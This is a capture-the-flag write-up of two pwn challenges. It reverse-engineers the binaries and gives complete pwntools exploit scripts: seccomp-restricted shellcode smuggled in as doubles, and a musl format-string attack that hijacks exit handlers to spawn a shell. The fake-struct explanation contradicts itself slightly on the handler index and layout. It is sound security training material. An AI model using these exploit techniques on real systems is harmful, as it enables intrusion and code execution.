IEEE DANCER#

challenge info#

Challenge Name: IEEE DANCER
Category: PWN
Points: 50
Solves: 108
Description: Drain your floats in style with higher precision!

Initial Analysis#

We are given a binary chall.

$ file chall

chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=19468a83b6cf568595bfdf4072b382b89e6166c4, for GNU/Linux 3.2.0, not stripped

64-bit ELF: We’re dealing with x86-64 architecture.
PIE executable: Addresses are randomized.
Dynamically linked: Uses shared libraries.
Not stripped: Debug symbols are present.

$ checksec --file=chall

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Full RELRO: GOT is read-only.
Stack Canary: Stack overflow protection is enabled.
NX enabled: Non-executable stack.
PIE: Addresses are randomized.
SHSTK: Shadow stack (anti-ROP).
IBT: Indirect branch tracking.

When we run the binary, we observe the following behavior:

alt text

The program asks for a number of floats, reads them in, and then appears to do something with them before crashing, if we enter a non float input it crashes.

Reverse Engineering#

Using Ghidra we can decompile the binary. Here’s the cleaned up code:

1
undefined8 main(void)
2

3
{
4
  int iVar1;
5
  undefined8 uVar2;
6
  long in_FS_OFFSET;
7
  int floats_num;
8
  int i;
9
  code *allocated_mem;
10
  size_t local_28;
11
  void *local_20;
12
  code *local_18;
13
  long local_10;
14

15
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
16
  setbuf(stdout,(char *)0x0);
17
  setbuf(stdin,(char *)0x0);
18
  setbuf(stderr,(char *)0x0);
19
  puts("enter the number of floats you want to enter!");
20
  __isoc99_scanf(&DAT_00102056,&floats_num);
21
  if (100 < floats_num) {
22
    puts("too much");
23
                    /* WARNING: Subroutine does not return */
24
    exit(0);
25
  }
26
  allocated_mem = (code *)calloc((long)floats_num,8);
27
  if (allocated_mem == (code *)0x0) {
28
    perror("calloc");
29
    uVar2 = 1;
30
  }
31
  else {
32
    for (i = 0; i < floats_num; i = i + 1) {
33
      __isoc99_scanf(&DAT_00102069,allocated_mem + (long)i * 8);
34
    }
35
    local_28 = sysconf(0x1e);
36
    local_20 = (void *)((ulong)allocated_mem & -local_28);
37
    iVar1 = mprotect(local_20,local_28,7);
38
    if (iVar1 < 0) {
39
      perror("mprotect");
40
      uVar2 = 1;
41
    }
42
    else {
43
      enable_seccomp();
44
      puts("draining in progress...");
45
      local_18 = allocated_mem;
46
      (*allocated_mem)();
47
      uVar2 = 0;
48
    }
49
  }
50
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
51
                    /* WARNING: Subroutine does not return */
52
    __stack_chk_fail();
53
  }
54
  return uVar2;
55
}

Let’s break down what the program does:

Input Validation: The program asks for the number of floats to enter, limiting it to 100 or fewer.
Memory Allocation: It allocates memory using calloc((long)floats_num, 8), allocating 8 bytes per float.
Reading Input: The program reads floats using scanf with format string %lf.
Memory Protection: The mprotect call with permission 7 makes the allocated memory readable, writable, and executable.

local_28 = sysconf(0x1e);
local_20 = (void *)((ulong)allocated_mem & -local_28);
iVar1 = mprotect(local_20,local_28,7);  // Make memory RWX (7 = READ|WRITE|EXEC)

Seccomp Filter: Before execution, enable_seccomp() is called, which likely restricts available syscalls.
Execution: Finally, the program jumps to the allocated memory: (*local_30)(), treating our input as executable code.

From here we understand that we need to inject shellcode, but before that let’s analyse the seccomp filter.

Seccomp Analysis#

We will use a tool called seccomp-tool to analyse the seccomp rules:

$ seccomp-tools dump ./chall

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

The seccomp filter only allows open, read, write, exit and exit_group syscalls. That means we won’t be able to do the regular execve() shellcode, instead we can just read the flag directly via open, read, write.

Exploitation#

The vulnerability is clear, the program allows us to input floats that are then placed in executable memory and executed as shellcode, we can craft shellcode to:

Open flag file
Read its contents
Write to stdout

We can do that using this shellcode:

1
shellcode = asm('''
2
    # open("flag", O_RDONLY, 0)
3
    xor rax, rax
4
    push rax
5
    mov rbx, 0x67616c66
6
    push rbx
7
    mov rdi, rsp
8
    xor rsi, rsi
9
    xor rdx, rdx
10
    mov rax, 2
11
    syscall
12

13
    # read(fd, buffer, 100)
14
    mov rdi, rax
15
    sub rsp, 0x100
16
    xor rax, rax
17
    mov rsi, rsp
18
    mov rdx, 100
19
    syscall
20

21
    # write(stdout, buffer, bytes_read)
22
    mov rdx, rax
23
    mov rax, 1
24
    mov rdi, 1
25
    mov rsi, rsp
26
    syscall
27

28
    # exit(0)
29
    mov rax, 60
30
    xor rdi, rdi
31
    syscall
32
''')

Next we convert our shellcode from bytes to doubles since the program reads doubles with scanf(“%lf”), we need to:

Break our shellcode into 8-byte chunks
Interpret each chunk as a 64-bit integer
Convert that integer to its double representation
Send it in a format scanf can parse

Solution#

Here’s the complete exploit script:

1
from pwn import *
2
import struct
3

4
elf = context.binary = ELF('./chall')
5
context.arch = 'amd64'
6
#p = elf.process()
7
p = remote('dancer.chals.nitectf25.live',1337,ssl=True)
8

9
shellcode = asm('''
10
    xor rax, rax
11
    push rax
12
    mov rbx, 0x67616c66
13
    push rbx
14
    mov rdi, rsp
15
    xor rsi, rsi
16
    xor rdx, rdx
17
    mov rax, 2
18
    syscall
19

20
    mov rdi, rax
21
    sub rsp, 0x100
22
    xor rax, rax
23
    mov rsi, rsp
24
    mov rdx, 100
25
    syscall
26

27
    mov rdx, rax
28
    mov rax, 1
29
    mov rdi, 1
30
    mov rsi, rsp
31
    syscall
32

33
    mov rax, 60
34
    xor rdi, rdi
35
    syscall
36
''')
37

38
# Convert shellcode bytes to doubles
39
doubles = []
40
for i in range(0, len(shellcode), 8):
41
    chunk = shellcode[i:i+8].ljust(8, b'\x00')
42
    double_val = u64(chunk)
43
    doubles.append(double_val)
44

45
p.sendline(str(len(doubles)).encode())
46

47
# Send each double as a float
48
for d in doubles:
49
    float_str = str(struct.unpack('d', struct.pack('Q', d))[0])
50
    p.sendline(float_str.encode())
51

52
p.interactive()

We run the script and get the flag.

get-flag

Flag: nite{W4stem4n_dr41nss_aLLth3_fl04Ts_int0_ex3cut5bl3_sp4ce}

beating_yellow_king_with_musl_in_ng+#

challenge info#

Challenge Name: beating_yellow_king_with_musl_in_ng+
Category: PWN
Points: 127
Solves: 39
Description: Beat the YellowKing in new game+ mode with your muscles, brawn over brain baby!

Initial Analysis#

We are given a binary chall and a libc file libc.so.

$ file chall

chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./libc.so, not stripped

$ checksec --file=chall

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'/nix/store/giplgywdxwfvhiy6b466zim2jiz2h141-shell/lib:/nix/store/wwb9g1hq316g0dgljfm5yb398dz3flxh-musl-1.2.5/lib:/nix/store/i3ibgfskl99qd8rslafbpaa1dmxdzh1z-glibc-2.40-66/lib'
    Stripped:   No

Full RELRO: GOT is read-only, can’t overwrite function pointers
Stack Canary: Stack overflow protection enabled
NX: Stack is not executable, can’t run shellcode
No PIE: Binary loaded at fixed address (0x400000), BSS section at predictable location

The key observation here is that the binary uses MUSL libc instead of the standard glibc. This is important because MUSL has different internal structures and lacks many of glibc’s hooks like __malloc_hook and __free_hook.

$ ./libc.so

musl libc (x86_64)
Version 1.2.5
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]

When we run the binary, we observe the following behavior:

alt text

The program presents a MUD (Multi-User Dungeon) style interface with three options:

Make a new Character
Defeat the Yellow King
Return (exit)

Reverse Engineering#

Using Ghidra, we can decompile the binary. Here are the key functions:

main#

1
void main(void)
2

3
{
4
  long in_FS_OFFSET;
5
  int local_24;
6
  undefined8 local_20;
7

8
  local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28);
9
  setbuf(_stdout,(char *)0x0);
10
  setbuf(_stdin,(char *)0x0);
11
  setbuf(_stderr,(char *)0x0);
12
  while( true ) {
13
    while( true ) {
14
      menu();
15
      scanf("%d",&local_24);
16
      if (local_24 != 2) break;
17
      action();
18
    }
19
    if (local_24 == 3) break;
20
    if (local_24 == 1) {
21
      make_char();
22
    }
23
    else {
24
      puts("wrong option");
25
    }
26
  }
27

28
   exit(0);
29
}

This function implements a menu loop with three options:

Option 1: Calls make_char() - Create a new character.
Option 2: Calls action() - Interact with a character.
Option 3: Breaks loop and calls exit(0).

make_char#

1
undefined8 make_char(void)
2

3
{
4
  void *__buf;
5
  undefined8 extraout_RAX;
6
  ssize_t sVar1;
7
  long in_FS_OFFSET;
8
  uint local_14;
9
  long local_10;
10

11
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
12
  local_14 = 0;
13
  puts("enter index:");
14
  scanf("%d",&local_14);
15
  if (local_14 < 0x10) {
16
    __buf = malloc(0x21);
17
    puts("Enter the class");
18
    printf("1.magician\n2.swordsman\n3.thief\n>>");
19
    scanf("%hhu",(long)__buf + 0x20);
20
    if (2 < (byte)(*(char *)((long)__buf + 0x20) - 1U)) {
21
      if (*(char *)((long)__buf + 0x20) == '\0') {
22
        puts("You aren\'t D3rdlord3");
23
        if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) goto LAB_00401430;
24
LAB_00401394:
25
        free(__buf);
26
        return extraout_RAX;
27
      }
28
      puts("Wrong class");
29
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) goto LAB_00401394;
30
      goto LAB_00401430;
31
    }
32
    printf("Enter the name for character\n>>");
33
    sVar1 = read(0,__buf,0x20);
34
    *(undefined1 *)((long)__buf + sVar1) = 0;
35
    *(void **)(list + (long)(int)local_14 * 8) = __buf;
36
  }
37
  else {
38
    puts("wrong index");
39
  }
40
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
41
    return 0;
42
  }
43
LAB_00401430:
44

45
__stack_chk_fail();
46
}

This fucntion asks for an index (0-15) to store the character.
Allocates exactly 33 bytes with malloc(0x21).
Reads the class byte at offset 0x20 (byte 32).
Validates class: 1, 2 or 3 are valid, we have a secret class 0.
Reads character name (up to 32 bytes).
Null-terminates at position buf[sVar1].
Stores the buffer pointer in a global list array.

We have an off-by-One vulnerability:

1
sVar1 = read(0,__buf,0x20); // Read up to 32 bytes
2
*(undefined1 *)((long)__buf + sVar1) = 0; // Write NULL at buf[sVar1]

If we send exactly 32 bytes, read() returns sVar1 = 32.
The null byte is written at buf[32] which is the class byte.
This overwrites the class with 0, bypassing the validation

action#

1
undefined1  [16] action(void)
2

3
{
4
  byte bVar1;
5
  void *__ptr;
6
  int iVar2;
7
  long in_FS_OFFSET;
8
  uint local_6c;
9
  char local_68 [72];
10
  long local_20;
11

12
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
13
  puts("enter index:");
14
  scanf("%d",&local_6c);
15
  if (0xf < local_6c) {
16
    puts("wrong index");
17
    goto LAB_004015ca;
18
  }
19
  __ptr = *(void **)(list + (long)(int)local_6c * 8);
20
  printf("You chose %s \n",__ptr);
21
  bVar1 = *(byte *)((long)__ptr + 0x20);
22
  if (bVar1 != 2) {
23
    if (bVar1 < 3) {
24
      if (bVar1 == 0) {
25
        puts("You may leave a message about your encounter and leave..");
26
        read(0,local_68,0x30);
27
        iVar2 = count_char(local_68,0x25,0xd);
28
        if (iVar2 == 0) {
29
          puts("The message left for other adventurers..");
30
          printf(local_68);
31
        }
32
        else {
33
          puts("No one can handle that much knowledge..");
34
        }
35
        goto LAB_004015ca;
36
      }
37
    }
38
    else if (bVar1 != 3) goto LAB_004015ca;
39
  }
40
  puts("You have lost");
41
  *(undefined8 *)(list + (long)(int)local_6c * 8) = 0;
42
  free(__ptr);
43
LAB_004015ca:
44
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
45

46
    __stack_chk_fail();
47
  }
48
  return ZEXT816(0);
49
}

This function asks for character index.
Loads the character pointer from the global list.
Prints the character name.
Checks the class byte and branches, if the class byte is 0 we can enter a message with format string vulnerability.

1
if (bVar1 == 0) {  // Class 0
2
    read(0,local_68,0x30);  // Read up to 48 bytes into local_68
3
    iVar2 = count_char(local_68,0x25,0xd);  // Count '%' chars
4
    if (iVar2 == 0) {  // If <= 13 '%' chars
5
        printf(local_68);  // format string vulnerability
6
    }
7
}

count_char#

1
bool count_char(char *param_1,int param_2,int param_3)
2

3
{
4
  size_t sVar1;
5
  int iVar2;
6
  ulong uVar3;
7
  long in_FS_OFFSET;
8
  undefined1 local_138 [16];
9
  undefined1 local_128 [16];
10
  undefined1 local_118 [16];
11
  undefined1 local_108 [16];
12
  undefined1 local_f8 [16];
13
  undefined1 local_e8 [16];
14
  undefined1 local_d8 [16];
15
  undefined1 local_c8 [16];
16
  undefined1 local_b8 [16];
17
  undefined1 local_a8 [16];
18
  undefined1 local_98 [16];
19
  undefined1 local_88 [16];
20
  undefined1 local_78 [16];
21
  undefined1 local_68 [16];
22
  undefined1 local_58 [16];
23
  undefined1 local_48 [16];
24
  long local_30;
25

26
  iVar2 = 0;
27
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
28
  local_138 = (undefined1  [16])0x0;
29
  local_128 = (undefined1  [16])0x0;
30
  local_118 = (undefined1  [16])0x0;
31
  local_108 = (undefined1  [16])0x0;
32
  local_f8 = (undefined1  [16])0x0;
33
  local_e8 = (undefined1  [16])0x0;
34
  local_d8 = (undefined1  [16])0x0;
35
  local_c8 = (undefined1  [16])0x0;
36
  local_b8 = (undefined1  [16])0x0;
37
  local_a8 = (undefined1  [16])0x0;
38
  local_98 = (undefined1  [16])0x0;
39
  local_88 = (undefined1  [16])0x0;
40
  local_78 = (undefined1  [16])0x0;
41
  local_68 = (undefined1  [16])0x0;
42
  local_58 = (undefined1  [16])0x0;
43
  local_48 = (undefined1  [16])0x0;
44
  while( true ) {
45
    uVar3 = (ulong)iVar2;
46
    sVar1 = strlen(param_1);
47
    if (sVar1 <= uVar3) break;
48
    iVar2 = iVar2 + 1;
49
    local_138[param_1[uVar3]] = local_138[param_1[uVar3]] + '\x01';
50
  }
51
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
52
    return param_3 < (char)local_138[param_2];
53
  }
54
  __stack_chk_fail();
55
}

This function implements a frequency counter for characters in a string. In our case it checks if the number of % is more than 13 then it returns false.

Exploitation#

Let’s start by making some functions to help us interact with the binary

1
def make_char(idx,clas,name):
2
    p.sendline(b'1')
3
    p.sendlineafter(b'enter index:',str(idx).encode())
4
    p.sendlineafter(b'>>',str(clas).encode())
5
    p.sendlineafter(b'>>',name)
6

7
def action(idx, message):
8
    p.sendlineafter(b'>>', b'2')
9
    p.sendlineafter(b'enter index:', str(idx).encode())
10
    p.sendlineafter(b'encounter and leave..', message)
11
    p.recvuntil(b'The message left for other adventurers..')
12
    result = p.recvuntil(b'---MUD---', drop=True).strip()
13
    return result

Arbitrary Read#

First we change the class byte to 0 using the off-by-one vulnerability

1
make_char(0,1,b'A'*32)

Now let’s try to get a libc leak using the format string vulnerability.
On glibc, format string exploits commonly use positional specifiers like %3$p or %12$hhn to access specific arguments. On musl, these specifiers are unreliable and do not behave the same way which means using $ syntax either doesn’t work or produces unexpected results.
Instead of positional access, the exploit relies on sequential consumption of arguments. When the program calls printf(local_68) where local_68 is our controlled buffer, only the format string is provided as an argument.

Sending a bunch of %p gives us a libc leak:

alt text

The leaked value corresponds to the stdout structure inside libc. Since the offset of __stdout_FILE is known, we recover the libc base by subtracting this offset from the leaked address:

libc.address = int(action(0,b'%p%p%p%p%p%p')[5:],16) - libc.symbols['__stdout_FILE']
log.info(f'base addr: {hex(libc.address)}')

Arbitrary Write#

Since this challenge uses MUSL instead of glibc, we can’t use typical exploitation techniques like overwriting __malloc_hook or __free_hook. Additionally, we have Full RELRO which means the GOT is read-only.

We can try a ROP chain but there is a better approach, we notice that the main function doesn’t return but exits instead with exit(0). The key is to understand how MUSL handles exit handlers registered via atexit(). When exit() is called, MUSL executes __funcs_on_exit():

Source code here: atexit.c

1
#define COUNT 32
2

3
void __funcs_on_exit()
4
{
5
  int i;
6
  void (*func)(void *), *arg;
7
  LOCK(lock);
8
  for (; head; head=head->next) for (i=COUNT-1; i>=0; i--) {
9
    if (!head->f[i]) continue;
10
    func = head->f[i];
11
    arg = head->a[i];
12
    head->f[i] = 0;
13
    UNLOCK(lock);
14
    func(arg);
15
    LOCK(lock);
16
  }
17
}

The mechanism is straightforward:

MUSL maintains a global head pointer to an exit handler list.
When exit() is called, __funcs_on_exit() iterates through this list.
For each handler, it loads a function pointer and argument.
It executes func(arg) for each handler.

This gives us a clear exploitation path, if we control the head pointer and the structure it points to, we can make MUSL call any function with any argument.

Our plan:

Create a fake exit handler structure in a controlled memory location (bss).
Place system as the function pointer.
Place "/bin/sh" as the argument.
Overwrite the head global to point to our fake structure.
Trigger exit() by selecting menu option 3.

head_addr = libc.address + 0xc0d88
slot_addr = libc.address + 0xc0fa4
log.info(f'head: {hex(head_addr)}\t slot: {hex(slot_addr)}')
fake_struct = 0x404000 + 0x100

Since our input is limited to 13 % we need split our payload, we can do that using these functions:

def write_byte(addr, value):
    payload = fmtstr_payload(8, {
        addr: p8(value)
    },no_dollars=True, write_size='byte')
    action(0, payload)

def arb_write(addr, value):
    for i in range(0, len(value)):
        write_byte(addr + i, value[i])

Let’s take a look at the fl struct:

#define COUNT 32

static struct fl
{
  struct fl *next;
  void (*f[COUNT])(void *);
  void *a[COUNT];
} builtin, *head;

f[32]: An array of 32 function pointers (offset 0x0 - 0x100)
a[32]: An array of 32 arguments corresponding to each function (offset 0x100 - 0x200)
next: Pointer to the next handler block

The layout looks like this:

1
+0x000: f[0]   (function pointer 0)
2
+0x008: f[1]   (function pointer 1)
3
...
4
+0x100: a[0]   (argument for f[0])
5
+0x108: a[1]   (argument for f[1])
6
...

We write the address of system() at offset 0x8 in our fake structure. This is f[1] in the handler array. We write the pointer to /bin/sh at offset 0x108. This corresponds to a[1] - the argument for f[1]. We set the slot counter to 1, indicating there’s at least one registered handler. Without this, the exit mechanism might skip processing entirely.

arb_write(head_addr, p64(fake_struct))
arb_write(fake_struct + 0x8, p64(libc.sym.system))
arb_write(fake_struct + 0x108, p64(next(libc.search(b'/bin/sh\x00'))))
arb_write(slot_addr, p32(1))

When exit() runs:

MUSL calls __funcs_on_exit().
It loads head -> finds our fake structure at 0x404100.
It loads func = fake_fl->f[31] -> gets system.
It loads arg = fake_fl->a[31] -> gets /bin/sh.
It executes system("/bin/sh").

Solution#

Here’s the complete exploit script:

1
from pwn import *
2

3
elf = context.binary = ELF('./chall',False)
4
libc = ELF('./libc.so',False)
5
#p = elf.process()
6
p = remote('yellow.chals.nitectf25.live',1337,ssl=True)
7

8
def make_char(idx,clas,name):
9
    p.sendline(b'1')
10
    p.sendlineafter(b'enter index:',str(idx).encode())
11
    p.sendlineafter(b'>>',str(clas).encode())
12
    p.sendlineafter(b'>>',name)
13

14
def action(idx, message):
15
    p.sendlineafter(b'>>', b'2')
16
    p.sendlineafter(b'enter index:', str(idx).encode())
17
    p.sendlineafter(b'encounter and leave..', message)
18
    p.recvuntil(b'The message left for other adventurers..')
19
    result = p.recvuntil(b'---MUD---', drop=True).strip()
20
    return result
21

22
def write_byte(addr, value):
23
    payload = fmtstr_payload(8, {
24
        addr: p8(value)
25
    },no_dollars=True, write_size='byte')
26
    action(0, payload)
27

28
def arb_write(addr, value):
29
    for i in range(0, len(value)):
30
        write_byte(addr + i, value[i])
31

32
make_char(0,1,b'A'*32)
33
libc.address = int(action(0,b'%p%p%p%p%p%p')[5:],16) - libc.symbols['__stdout_FILE']
34
log.info(f'base addr: {hex(libc.address)}')
35

36
head_addr = libc.address + 0xc0d88
37
slot_addr = libc.address + 0xc0fa4
38
log.info(f'head: {hex(head_addr)}\t slot: {hex(slot_addr)}')
39
fake_struct = 0x404000 + 0x100
40

41
arb_write(head_addr, p64(fake_struct))
42
arb_write(fake_struct + 0x8, p64(libc.sym.system))
43
arb_write(fake_struct + 0x108, p64(next(libc.search(b'/bin/sh\x00'))))
44
arb_write(slot_addr, p32(1))
45

46
p.sendlineafter(b'>>',b'3')
47

48
p.interactive()

We run the script and get the flag:

yk_flag

Flag: nite{b34TinG_yeLl0wk1ng_1n_ng+_w1thNo$$s}